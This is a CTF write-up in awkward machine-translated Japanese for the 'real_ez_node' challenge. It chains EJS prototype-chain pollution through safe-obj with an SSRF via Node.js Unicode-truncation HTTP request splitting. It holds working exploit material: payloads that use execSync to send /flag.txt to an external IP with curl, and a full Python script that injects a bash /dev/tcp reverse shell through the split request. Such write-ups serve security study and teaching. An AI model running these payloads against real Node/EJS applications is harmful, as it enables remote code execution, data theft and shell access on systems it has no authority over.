NSS [西湖剣理論 2022]real_ez_node
テストポイント: ejs プロトタイプチェーン汚染と NodeJS の Unicode 文字損傷によって引き起こされる HTTP スプリット攻撃。
トピックを開きます。
添付ファイルの開始.sh フラグの場所はルート ディレクトリにあります/flag.txt
app.js (これはあまり役に立ちません)
var createError = require('http-errors');
var express = require('express');
var path = require('path');
var fs = require('fs');
const lodash = require('lodash')
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var index = require('./routes/index');
var bodyParser = require('body-parser');//解析,用req.body获取post参数
var app = express();
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({
extended: false}));
app.use(cookieParser());
app.use(session({
secret : 'secret', // 对session id 相关的cookie 进行签名
resave : true,
saveUninitialized: false, // 是否保存未初始化的会话
cookie : {
maxAge : 1000 * 60 * 3, // 设置 session 的有效时间,单位毫秒
},
}));
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
// app.engine('ejs', function (filePath, options, callback) { // 设置使用 ejs 模板引擎
// fs.readFile(filePath, (err, content) => {
// if (err) return callback(new Error(err))
// let compiled = lodash.template(content) // 使用 lodash.template 创建一个预编译模板方法供后面使用
// let rendered = compiled()
// return callback(null, rendered)
// })
// });
app.use(logger('dev'));
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', index);
// app.use('/challenge7', challenge7);
// catch 404 and forward to error handler
app.use(function(req, res, next) {
next(createError(404));
});
// error handler
app.use(function(err, req, res, next) {
// set locals, only providing error in development
res.locals.message = err.message;
res.locals.error = req.app.get('env') === 'development' ? err : {
};
// render the error page
res.status(err.status || 500);
res.render('error');
});
module.exports = app;
/routes/index.js (これは便利です)
var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/',(req,res)=>{
if (req.query.q) {
console.log('get q');
}
res.render('index');
})
router.post('/copy',(req,res)=>{
res.setHeader('Content-type','text/html;charset=utf-8')
var ip = req.connection.remoteAddress;
console.log(ip);
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only for admin"
res.send(JSON.stringify(obj));
return
}
let user = {
};
for (let index in req.body) {
if(!index.includes("__proto__")){
safeobj.expand(user, index, req.body[index])
}
}
res.render('index');
})
router.get('/curl', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:3000/?q=' + q
try {
http.get(url,(res1)=>{
const {
statusCode } = res1;
const contentType = res1.headers['content-type'];
let error;
// 任何 2xx 状态码都表示成功响应,但这里只检查 200。
if (statusCode !== 200) {
error = new Error('Request Failed.\n' +
`Status Code: ${
statusCode}`);
}
if (error) {
console.error(error.message);
// 消费响应数据以释放内存
res1.resume();
return;
}
res1.setEncoding('utf8');
let rawData = '';
res1.on('data', (chunk) => {
rawData += chunk;
res.end('request success') });
res1.on('end', () => {
try {
const parsedData = JSON.parse(rawData);
res.end(parsedData+'');
} catch (e) {
res.end(e.message+'');
}
});
}).on('error', (e) => {
res.end(`Got error: ${
e.message}`);
})
res.end('ok');
} catch (error) {
res.end(error+'');
}
} else {
res.send("search param 'q' missing!");
}
})
module.exports = router;
コードを簡単に監査したところ、ejs に関連しており、プロトタイプ チェーン汚染を頻繁に引き起こす関数があり、safeobj.expand()
受け取っsafeobj.expand()
たものがユーザーに渡されるため、これは ejs テンプレート エンジン汚染であると推測しました。
ソース コードをよく見ると、/routes/index.js
ファイル内のルーティングでは、/copy
ローカル (127.0.0.1) とフィルターされた からアクセスする必要があります__proto__
。
/routes/index.js
ファイル内に/curl
SSRF エクスプロイト ポイントがあります。
このアイデアは、/curl
CRLF を使用して POST リクエストをローカル (127.0.0.1) として routing 経由で送信し/copy
、ejs を作成してプロトタイプ チェーンを汚染してコードを実行することです。
まず、ejs がプロトタイプ チェーンを汚染します。
原則を参照してください。
EJS、サーバー側テンプレート インジェクション RCE (CVE-2022-29078) - 書き込み | ~#誰だ
JavaScript プロトタイプ チェーン汚染原理と関連する CVE 脆弱性の分析 - FreeBuf ネットワーク セキュリティ産業ポータル
EJS バージョン 3.1.7 未満を使用できます。を確認してくださいpackage.json
。バージョンは 3.0.1 で、プロトタイプ チェーン内の RCE を汚染する可能性があります。
__proto__
フィルターをかけ、constructor.prototype
バイパスを使用します。
(实例对象)foo.__proto__ == (类)Foo.prototype
ejs プロトタイプ チェーンによって汚染されたペイロードは次のとおりです (ペイロード テンプレートとみなすことができ、トピックに応じて変更する必要があります)。
{
"__proto__":{
"__proto__":{
"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"}}}
(これが説明になっているかどうかはわかりませんが、次回はそれにマークを付けてソース コードを勉強します。)let user = {};
ユーザーの上の層では、Object
ここでは 1 つの汚染で十分であるはずです__proto__
。ペイロードを次のように変更します。
{
"__proto__":{
"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"
}
}
safeobj モジュールの Expand メソッドは、.
分割に従って obj を直接再帰的に書き込みます。これは明らかにプロトタイプ チェーン汚染を引き起こす可能性があります。つまり、{"ab":"123"} を渡すと、値 ab=123 が割り当てられます。
フィルタリングと変更コマンドをバイパスした後、ejs を汚染するペイロードは次のように変換されます。
{
"constructor.prototype.outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('curl 120.46.41.173:9023/`cat /flag.txt`');//"
}
safeobj.expand()
基礎となるソース コードを補足して、なぜ{"constructor.prototype.outputFunctionName":
このように書かれているのかをより深く理解します。{"constructor": {"prototype": {"outputFunctionName":
expand: function (obj, path, thing) {
if (!path || typeof thing === 'undefined') {
return;
}
obj = isObject(obj) && obj !== null ? obj : {
};
var props = path.split('.');
if (props.length === 1) {
obj[props.shift()] = thing;
} else {
var prop = props.shift();
if (!(prop in obj)) {
obj[prop] = {
};
}
_safe.expand(obj[prop], props.join('.'), thing);
}
},
次に、HTTP 応答分割攻撃 (CRLF) があります。
参考記事:
Security Bugs in Practice: SSRF via Request Splitting
NodeJS の Unicode 文字破損による HTTP スプリット攻撃 - Zhihu (zhihu.com)
Nodejs HTTP スプリット攻撃については、[GYCTF2020] から学ぶ Node Game_nssctf nodejs_shutian のブログ - CSDN Blog
[良い記事] HTTP レスポンス分割攻撃 (CRLF インジェクション) の初紹介 - Anquanke - セキュリティ情報プラットフォーム (anquanke.com)
概要:
バージョン条件が nodejs<=8 の場合、Node.js が ( http.get
key 関数) を使用して特定のパスに HTTP リクエストを発行すると、Unicode 文字の破損によって引き起こされる HTTP スプリット攻撃が発生します (Node.js10 で修正されました)。発行されたリクエストは実際には別のパスに送られますが、これはNodeJS のUnicode 文字破損によって引き起こされる HTTP 分割攻撃が原因です。
原理:
Nodejs HTTP ライブラリには、CRLF を防ぐための対策が含まれています。つまり、 URL パスに復帰\r
、改行、スペースなどの制御文字を含む HTTP リクエストを発行しようとすると、それらは URL エンコードされるため、通常の CRLF インジェクションは行われません。 \n
Nodejsでは動作しないので使用できません。それから異常なものを使用してください。
本文が含まれないリクエストの場合、Node.js はデフォルトで「latin1」を使用しますが、これは、大きな番号の Unicode 文字を表現できないシングルバイト エンコード文字セットです。したがって、リクエスト パスにマルチバイト エンコード Unicode 文字が含まれている場合は、の場合、最下位バイトに切り詰められます。たとえば、次のよう\u0130
に切り詰められます\u30
。
Node.js がv8 或更低版本
この URL にリクエストを行うときGET
、これらは HTTP 制御文字ではないため、エンコード エスケープは行われません。
> http.get('http://47.101.57.72:4000/\u010D\u010A/WHOAMI').output
[ 'GET /čĊ/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]
ただし、結果の文字列が書き込みパスとしてエンコードされる と、これらの文字はそれぞれ(%0d) と(%0a)latin1
に切り詰められます。\r
\n
> Buffer.from('http://47.101.57.72:4000/\u{010D}\u{010A}/WHOAMI', 'latin1').toString()
'http://47.101.57.72:4000/\r\n/WHOAMI'
\u{010D}\u{010A}
このような文字列が latin1 としてエンコードされた後\r\n
、残りの文字列のみがリクエスト分割 (CRLF) に使用できます。これは異常な CRLF です。
原則を実践してください。元のリクエストデータが以下の場合:
GET / HTTP/1.1
Host: 47.101.57.72:4000
…………
CRLF データを挿入すると、HTTP リクエスト データは次のようになります。
GET / HTTP/1.1
POST /upload.php HTTP/1.1
Host: 127.0.0.1
…………
GET HTTP/1.1
Host: 47.101.57.72:4000
したがって、構築できる部分は次のとおりです。
HTTP/1.1
POST /upload.php HTTP/1.1
Host: 127.0.0.1
…………
GET
手動で構築するのは面倒なのでスクリプトを使います。
payload = ''' HTTP/1.1
[POST /upload.php HTTP/1.1
Host: 127.0.0.1]自己的http请求
GET / HTTP/1.1
test:'''.replace("\n","\r\n")
payload = payload.replace('\r\n', '\u010d\u010a') \
.replace('+', '\u012b') \
.replace(' ', '\u0120') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
.replace('`', '\u0127') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
print(payload)
話題に戻ります。
docker ファイルを見ると、ノードのバージョンが 8.1.2 (<=8 を満たす) であり、http スプリット攻撃 (CRLF) があることがわかります。
上記のスクリプトを変更してみましょう。
payload = ''' HTTP/1.1
POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 175
{"constructor.prototype.outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('curl 120.46.41.173:9023/`cat /flag.txt`');//"}
'''.replace("\n", "\r\n")
payload = payload.replace('\r\n', '\u010d\u010a') \
.replace('+', '\u012b') \
.replace(' ', '\u0120') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
.replace('`', '\u0127') \
.replace('"', '\u0122') \
.replace("'", '\u0a27')
print(payload)
パッケージに対して当社が要求する内容に必ずご注意くださいContent-Length
。なぜここに 175 と入力するのでしょうか? 私のPOSTデータの長さは173ですが、POSTには2も含まれており、これは\n
two に置き換えられる\r\n
ため、合計の長さに2を追加する必要があります。もちろん、長さがわからない場合は、リクエストを burp に入れることができます。burp 再送信者は、デフォルトで正しいものを自動的に更新しますContent-Length
。
ペイロードを生成してからパッケージを送信します: (一度に送信できない場合は、数回に分けて送信します)
/curl?q=生成的payload URL编码
インターネット上には、非常に簡単に使用できる一種のスクリプトもあります。
import requests
import urllib.parse
payloads = ''' HTTP/1.1
POST /copy HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (windows11) Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: wp-settings-time-1=1670345808
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 174
{"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/vps-ip/port 0>&1\\"');var __tmp2"}
GET / HTTP/1.1
test:'''.replace("\n", "\r\n")
def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0x0100 + ord(i))
return ret
payloads = payload_encode(payloads)
print(payloads)
r = requests.get('http://3000.endpoint-f4a41261f41142dfb14d60dc0361f7bc.ins.cloud.dasctf.com:81/curl?q=' + urllib.parse.quote(payloads))
print(r.text)